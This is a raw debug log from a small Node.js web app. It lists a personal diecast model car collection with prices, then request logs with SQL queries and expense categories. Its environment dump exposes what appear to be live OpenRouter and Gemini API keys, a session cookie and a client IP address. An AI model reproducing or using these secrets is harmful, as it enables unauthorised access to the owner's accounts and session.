      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:59:23.479Z server-connect:app Executing action step identify
2026-02-04T11:59:23.479Z server-connect:app options: { provider: 'security' }
2026-02-04T11:59:23.479Z server-connect:output identity: 1
2026-02-04T12:03:09.677Z server-connect:router Serving templateView /
2026-02-04T12:03:09.678Z server-connect:app Executing action step identify
2026-02-04T12:03:09.678Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:09.678Z server-connect:output identity: 1
2026-02-04T12:03:09.678Z server-connect:app Executing action step restrict
2026-02-04T12:03:09.678Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T12:03:09.679Z server-connect:output restrict: undefined
2026-02-04T12:03:09.679Z server-connect:app Executing action step restrict
2026-02-04T12:03:09.679Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T12:03:09.680Z server-connect:output restrict: undefined
2026-02-04T12:03:09.680Z server-connect:router Render template layouts/main
2026-02-04T12:03:09.680Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T12:03:10.278Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T12:03:10.279Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T12:03:10.279Z server-connect:app Executing action step identify
2026-02-04T12:03:10.279Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:10.279Z server-connect:output identity: 1
2026-02-04T12:03:10.279Z server-connect:app Executing action step restrict
2026-02-04T12:03:10.279Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:03:10.279Z server-connect:app Executing action step identify
2026-02-04T12:03:10.279Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:10.279Z server-connect:output identity: 1
2026-02-04T12:03:10.279Z server-connect:app Executing action step restrict
2026-02-04T12:03:10.279Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:03:10.280Z server-connect:output restrict: undefined
2026-02-04T12:03:10.280Z server-connect:app Executing action step select
2026-02-04T12:03:10.280Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T12:03:10.281Z server-connect:output restrict: undefined
2026-02-04T12:03:10.281Z server-connect:app Executing action step single
2026-02-04T12:03:10.281Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T12:03:10.285Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
